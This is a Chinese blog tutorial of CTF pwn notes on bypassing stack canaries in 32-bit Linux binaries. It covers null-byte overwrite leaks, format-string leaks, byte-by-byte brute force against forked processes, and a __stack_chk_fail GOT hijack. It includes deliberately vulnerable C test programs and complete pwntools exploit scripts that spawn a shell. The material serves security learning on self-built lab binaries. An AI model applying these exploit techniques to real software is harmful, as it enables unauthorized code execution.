【pwn学习】Canary的各种绕过姿势

最新推荐文章于 2024-06-05 23:29:12 发布
最新推荐文章于 2024-06-05 23:29:12 发布
阅读量5.5k 收藏 82
点赞数 17
分类专栏： pwn学习 文章标签： 安全 pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Morphy_Amo/article/details/122120696
版权

文章目录

方法一 覆盖截断字符获取Canary

原理

Canary设计其低字节为\x00，本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00覆写，就可以读出Canary的值。

从上面的分析，我们可以梳理出绕过的思路：

  • 构造第一次溢出，覆写Canary低字节\x00，读取出Canary值
  • 构造第二次溢出，利用获取的Canary重新构造payload，获取shell。

下面由示例程序来进行一次实践

// test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译生成32为的ELF文件，

$ gcc test.c -no-pie -m32 -fstack-protector -z noexecstack -o test

例题

  1. 查看安全策略

    root@kali:~/ctf/Other/pwn/CanaryTest# checksec test
[*] '/root/ctf/Other/pwn/CanaryTest/test'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

    可以看到开启了NX和Canary

  2. 查看可利用的函数和方法

    利用radare2静态分析，发现可以利用的函数getshell()直接返回shell。

    [0x08049237]> afl
...
0x080491b2    1 43           sym.getshell
...

  3. 查找溢出点

    sym.vuln函数中存在溢出，read可以向0x70的栈中读取0x200的内容, 之后printf会打印read读入的字符串。

    ...
/ (fcn) sym.vuln 108
|   sym.vuln ();
|           ; var signed int var_74h @ ebp-0x74
|           ; var int32_t var_70h @ ebp-0x70
|           ; var int32_t var_ch @ ebp-0xc
|           ; var int32_t var_4h @ ebp-0x4
|           ; CALL XREF from main @ 0x80492d4
|           0x08049237      55             push ebp
|           0x08049238      89e5           mov ebp, esp
|           0x0804923a      53             push ebx
|           0x0804923b      83ec74         sub esp, 0x74
|           0x0804923e      e8adfeffff     call sym.__x86.get_pc_thunk.bx
|           0x08049243      81c3bd2d0000   add ebx, 0x2dbd
|           0x08049249      65a114000000   mov eax, dword gs:[0x14]
|           0x0804924f      8945f4         mov dword [var_ch], eax
|           0x08049252      31c0           xor eax, eax
|           0x08049254      c7458c000000.  mov dword [var_74h], 0
|       ,=< 0x0804925b      eb29           jmp 0x8049286
|       |   ; CODE XREF from sym.vuln @ 0x804928a
|      .--> 0x0804925d      83ec04         sub esp, 4
|      :|   0x08049260      6800020000     push 0x200                  ; 512
|      :|   0x08049265      8d4590         lea eax, dword [var_70h]
|      :|   0x08049268      50             push eax
|      :|   0x08049269      6a00           push 0
|      :|   0x0804926b      e8d0fdffff     call sym.imp.read
|      :|   0x08049270      83c410         add esp, 0x10
|      :|   0x08049273      83ec0c         sub esp, 0xc
|      :|   0x08049276      8d4590         lea eax, dword [var_70h]
|      :|   0x08049279      50             push eax
|      :|   0x0804927a      e8d1fdffff     call sym.imp.printf
...

  4. payload

    这题开启了的Canary，所以直接进行栈溢出肯定是不行的。

    • 构造第一次溢出，覆写Canary低字节\x00，读取出Canary值

    从0x0804924f mov dword [var_ch], eax指令可以知道Canary是存入到了0xC的位置， 因此从栈顶到Canary低字节的距离应该是0x70 - 0xc，我们需要覆盖Canary的低字节，因此要额外增加一个字节，因此paylaod_1的长度应为0x70 - 0xc + 0x1.

    payload_1 = b'a' * (0x70 - 0xc + 0x1)

    而canary就是0x70-0xC= 0x64开始的四个字节，因为最低字节已经被覆写，且默认为\x00，因此只要获取0x65,0x66,0x67三个字节的值，再拼接一个\x00就可以得到Canary了

    • 构造第二次溢出，利用泄露的canary进行栈溢出.

    栈顶到ebp的距离是0x70，Canary到ebp的距离是0xc，因此覆盖Canary之后，还要额外增加0x8的字节，再加上ebp本身长度0x4，所以要额外增加0xC的字节内容。

    payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)

  5. write up

    from pwn import *
context.log_level = 'debug'

conn = process('./test')

getshell = 0x080491b2
conn.recvuntil('Hello Hacker!\n')

# 第一次溢出
payload_1 = b'a' * (0x70 - 0xc)
conn.send(payload_1)
recvbytes = conn.recv()
# 获取canary
canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00'))
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

方法二 利用格式化字符串漏洞获取Canary

原理

格式化字符串漏洞可以打印出栈中的内容，因此利用此漏洞可以打印出canary的值，从而进行栈溢出。

例题

还以方法一中的题目为例。

在vuln函数中，printf函数直接打印了read读取的用户输入的内容，因此我们可以通过输入特殊的payload来利用printf泄露栈中的内容。

如何确定canary的位置呢？

  1. 首先确认当前输入的文本在栈中的位置.

    构造payload等于aaaa+n个%x-，然后观察输出，直到输出中包含61616161，即4个a的ascii码。如下所示：

    root@kali:~/ctf/Other/pwn/CanaryTest# ./test
Hello Hacker!
aaaa%x-%x-%x-%x-%x-%x-%x-%x-
aaaaffeea598-200-8049243-f7f05d20-0-61616161-252d7825-78252d78-

    数出61616161出现的位置，这里出现在栈中第6个位置，对应第6个%x

  2. 从上一题我们知道从栈顶到canary的距离是0x70-0xc，而printf中的一个%x会输出4个字节，因此间隔了(0x70-0xC)/4=25个%x，因此从第6个%x开始，再输出25个%x就是canary的值

payload_1 = b'%x-' * ( 6 + 25)

而canary就是收到的字节中最后一组%x-对应的内容

最后和上一题一样，第二次进行溢出获取shell

payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)

write up

from pwn import *
context.log_level = 'debug'

conn = process('./test')

getshell = 0x080491b2
conn.recvuntil('Hello Hacker!\n')

# 第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

方法三 逐字节爆破

原理

  • 每次进程重启后的Canary是不同的，但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。
  • 爆破次数：对于32位ELF，低字节固定是\x00，所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节，如果出错的话，会报错，获得正确的次低字节的话，不会报错。获取正确的次低字节之后，再依次爆破次高字节和高字节。每个字节的可能性是256，因此3个字节的逐个爆破总次数是256+256+256=768次

例题

在之前例题的基础上稍作变动，

// test2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>  
#include <sys/wait.h>

void getshell(void)
{
    system("/bin/sh");
}

void init(void)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void vuln(void)
{
    char buf[100];
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x200);
    printf("%s\n", buf);
}
int main(void)
{
    init();
    while (1)
    {
        printf("Hello Hacker!\n");
        if (fork()) //father
        {
            wait(NULL);
        }
        else //child
        {
            vuln();
            exit(0);
        }
    }

    return 0;
}

编译

$ gcc test2.c -no-pie -m32 -fstack-protector -z noexecstack -o test2

  1. 查看安全策略。与例题一类似

    [*] '/root/ctf/Other/pwn/CanaryTest/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

  2. 静态分析

    对于fork函数，目前不太懂，不过不影响目前解题，留到以后再学习。

    fork()

    溢出点还是在sym.vuln函数，和之前一样。

    题外话：puts(buf)和printf("%s\n", buf)

    注意到在c代码中我们使用的是printf("%s\n", buf)，但是编译后发现汇编代码中调用的却是call sym.imp.puts。这是为什么呢？

    puts函数是输出字符串并且在字符串结尾添加一个换行符，而当printf的format参数为%s\n时，与puts的结果是一样的 ，因此编译器在优化的时候选择了使用puts而不是printf

  3. payload

    首先通过爆破获取Canary

    canary = b'\x00'
for i in range(3):
  for b in range(0, 256):
    payload = b'a' * (0x70 - 0xC) + canary + bytes(b)
    # 下面是伪代码
		if (recv没报错):
			canary += bytes(b)
			break

    获取canary后，获取shell

    payload = b'a' * (0x70 - 0xC) + p32(canary) + b'a' * 0xC + p32(getshell)

  4. write up

    from pwn import *
import re
import time

#context.log_level = 'debug'

conn = process('./test2')

getshell = 0x080491f2

canary = b'\x00'
for i in range(3):
  for j in range(0, 256):
    #conn.recvuntil(b'Hello Hacker!')
    payload = b'a' * (0x70 - 0xC) + canary + p8(j)
    conn.send(payload)
    time.sleep(0.01)
    res = conn.recv()
    if ( b"stack smashing detected" not in res):
        print(f'the {i} is {hex(j)}')
        canary += p8(j)
        break
  assert(len(canary) == i+2) 
        
print(f'Canary : {hex(u32(canary))}')

# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

    运行后,如果没有报错，则成功获取shell，如下所示。频繁报错的话可以将时间间隔延长

    root@kali:~/ctf/Other/pwn/CanaryTest# python3 exp2.py 
[+] Starting local process './test2': pid 81149
the 0 is 0x71
the 1 is 0xec
the 2 is 0xf7
Canary : 0xf7ec7100
[*] Switching to interactive mode
$ ls
core  exp1_1.py  exp1_2.py  exp2.py  test  test2  test2.c  test.c

方法四 SSP泄露

这部分内容还有诸多不解，待进一步学习。

https://www.anquanke.com/post/id/177832#h2-3

https://blog.csdn.net/chennbnbnb/article/details/103968714

方法五 劫持__stack_chk_fail函数

原理

在开启canary保护的程序中，如果canary不对，程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数，可以通过修改GOT表劫持这个函数。

例题

以下面为例

// test3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}
int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char buf[100];
    read(0, buf, 200);#栈溢出
    printf(buf);
    return 0;
}
  • 劫持函数需要修改got表，所以要关闭relro（RELocation Read Only）
  • 需要调用getshell函数，所以需要关闭pie（Position Indenpendent Executive）
$ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o test3

  1. 查看安全策略

    [*] '/root/ctf/Other/pwn/CanaryTest/test3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

  2. 静态分析

    • 有个getshell后门

    • main函数中printf直接打印了用户输入的内容，存在格式化字符串漏洞，可以用来向任意地址写入数据

  3. payload

    根据之前GOT表的学习，我们知道GOT表中存储的是函数的实际地址，如果把__stack_chk_fail函数的got表地址替换为getshell的地址，在canary出错的情况下，调用__stack_chk_fail时就会直接获取到shell。

    stack_chk_fail_got = elf.got['__stack_chk_fail']
getshell = elf.sym['getshell'] # 0x080491a2

    这里利用pwntools中的fmtstr_payload()可以方便的进行地址的篡改

    fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

    • offset（int）: 字符串的偏移
    • writes (dict): 注入的地址和值，{target_addr : change_to, }

    第一个offset的值，可以通过手工确认

    root@kali:~/ctf/Other/pwn/CanaryTest# ./test3
aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
aaaaff959cf8-c8-80491e4-f7f15ae0-1-f7ee4410-ff959e24-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-

    61616161是第10个位置，因此offset取10

    payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})

    还要造成一次溢出，触发__stack_chk_fail

    payload = payload.ljust(0x70, b'a')

  4. write up

    from pwn import *

conn = process('./test3')
elf = conn.elf

stack_chk_fail_got = elf.got['__stack_chk_fail']
getshell = elf.sym['getshell'] # 0x080491a2

payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
payload = payload.ljust(0x70, b'a')

conn.send(payload)
conn.interactive()
Morphy_Amo
关注
  • 17
    点赞
  • 踩
  • 82
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
过NP保护的CE工具
07-10
过NP保护的CE工具，他可以过目前市面上的有保护的的CE
Pwn学习路线及学习笔记以及gem安装
10-15
Pwn学习路线及学习笔记 Pwn是计算机安全领域中的一个重要方向，旨在研究和学习 Binary Exploitation，CTF 等安全知识。本文将从Pwn学习路线及学习笔记入手，总结作者在学习Pwn过程中的心得体会和经验。 一、前期...
PWN入门（10）绕过程序堆栈Canary防护
Ba1_Ma0的博客
10-05 1082
简介“pwn"这个词的源起以及它被广泛地普遍使用的原因，源自于魔兽争霸某段讯息上设计师打字时拼错而造成的，原先的字词应该是"own"这个字，因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的，PWN 也是一个黑客语法的俚语词，是指攻破设备或者系统。发音类似"砰”，对黑客而言，这就是成功实施黑客攻击的声音，而在ctf比赛里，pwn是对二进制漏洞的利用下载这个github库，进入10文件夹。
canary绕过感悟随记(pwn入门)
最新发布
2402_83422357的博客
06-05 1069
这个是假设总共要打70个长度,canary在0xc的位置,你刚开始打程序打到canary的位置总共是打了0x70-0xc计算一下就是0x64的位置了,那么,32位的机子.canary的值为4个字节,所以我们接收0x65,0x66,0x67就可以接收到canary前面的3个字节了.[0x65:0x68]左闭右开可以达到要求,而canary规定最后一个字节为\x00,用rjust(4,b'\x00')可以达到要求.rjust(4,b'\x00')这个的意思就是说,总共接收4个字节的数据，先接收完所有数据。
【PWN学习】cannary绕过方式汇总
weixin_41748164的博客
12-23 733
利用cannary解题在现在的CTF比赛中似乎已经过时了，只是为了学习了解一下。
Pwn入门笔记（四）canary初识
qq_33590156的博客
11-26 1612
Leak Canary Canary1 wp 什么是canary呢，就是在程序进行输入前会生成一个随机数（每一次执行程序这个数都不一样），格式为“0x…00”，在ida中是这样的 画圈的地方就是生成了canary值赋给v4，最后一行将v4和之前的值取异或，之后return将这个值返回。 题目逻辑很简单，就是两次输入输出，很明显格式化字符串漏洞。然后还有个函数叫getshell，这就是我们要执行的system函数，思路就清晰了，先用格式化字符串漏洞打印canary的值，然后栈溢出获取shell。 那么在栈上他
PWN-canary学习
苗_的博客
02-10 1528
先简单介绍一下canary： Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。 canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处，先从fs/gs寄存器中获取一个值，一般存到EBP - 0x4(32位)或RBP - 0x8...
pwn-canary绕过和PIE(未完待续)
m0_75234353的博客
05-30 947
看见了fork函数，那就通过爆破得出canary对于 Canary，但是同一个进程中的不同线程的 Canary 是相同的，并且通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。 打开sub_128A函数 明显的溢出发现后门函数 开始计算溢出大小0x70-0x80=104①先逐字爆破出canary的值②直接溢出到返回地址，覆盖为后门函数的地址。但这道题开了PIE保护，而PIE是代码段，数据段
pwn学习资料整理——ROP技术（pwn_rop1）
08-30
pwn学习资料整理——ROP技术（pwn_rop1）
pwn学习历程.pdf
09-30
pwn学习修炼之旅，内部包含各个模块各个知识点，有助于爱好者有方向的学习前进，加油，很好的资料哦，很有意义。
pwn学习总结（八）—— 堆（持续更新）
01-07
pwn学习总结（八）—— 堆（持续更新）前言chunk使用中（分配后）空闲中（释放后）堆块大小空间复用binsfastbin利用思路unsorted binsmall bin 前言 学习自《glibc内存管理ptmalloc源代码分析》庄明强 著 部分资料...
pwn学习资料整理——ROP技术（pwn_rop2）
08-30
pwn学习资料整理——ROP技术（pwn_rop2）
pwn学习入门详解PPT
04-17
包括Windows内核学习，格式化字符串，栈溢出等方面
pwn入门学习-附件资源
03-05
pwn入门学习-附件资源
pwn ubuntu18的运行环境自己搭建
11-15
pwn ubuntu18的运行环境具体情参考https://blog.csdn.net/weixin_41748164/article/details/127874334
pwn入门之canary保护
wangxunyu6的博客
01-18 718
简单的canary
2021-06-15 pwn之canary绕过简单思路梳理
yulate的个人博客
07-13 774
文章目录一、原题链接二、简单解题思路0x01、查看程序保护0x02、main的栈0x03、构造payload0x04、最终exp 一、原题链接 bugku-pwn4 二、简单解题思路 0x01、查看程序保护 开启了canary保护和NX保护 0x02、main的栈 int __cdecl main(int argc, const char **argv, const char **envp) { char buf[48]; // [rsp+10h] [rbp-240h] BYREF char v5
Canary保护机制及绕过
二狗的博客
01-29 859
1、网络安全理论知识（2天）①了解行业相关背景，前景，确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。（非常重要）2、渗透测试基础（一周）①渗透测试的流程、分类、标准②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础（一周）
学习pwn需要学习哪些数学知识
05-18
学习 pwn 通常需要掌握以下数学知识： 1. 二进制和十六进制：pwn 题目通常会给出二进制或十六进制的数据，因此需要熟悉这两种进制的转换和计算。 2. 离散数学：离散数学是计算机科学中的一门重要课程，它涉及到许多 pwn 中用到的算法和数据结构，例如哈希表、图论、组合数学等。 3. 模运算：在 pwn 中，模运算经常被用来处理加密算法或者防止整数溢出等问题。 4. 基础数论：pwn 题目中经常涉及到素数、欧拉函数、费马小定理等基础数论概念，因此需要对这些内容有一定的了解。 5. 线性代数：在 pwn 中，矩阵运算和向量运算经常被用来解决密码学和加密算法相关的问题，因此需要对线性代数有一定的了解。 当然，不同的 pwn 题目可能需要的数学知识也会有所不同，但以上几个方面是比较基础和常见的。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值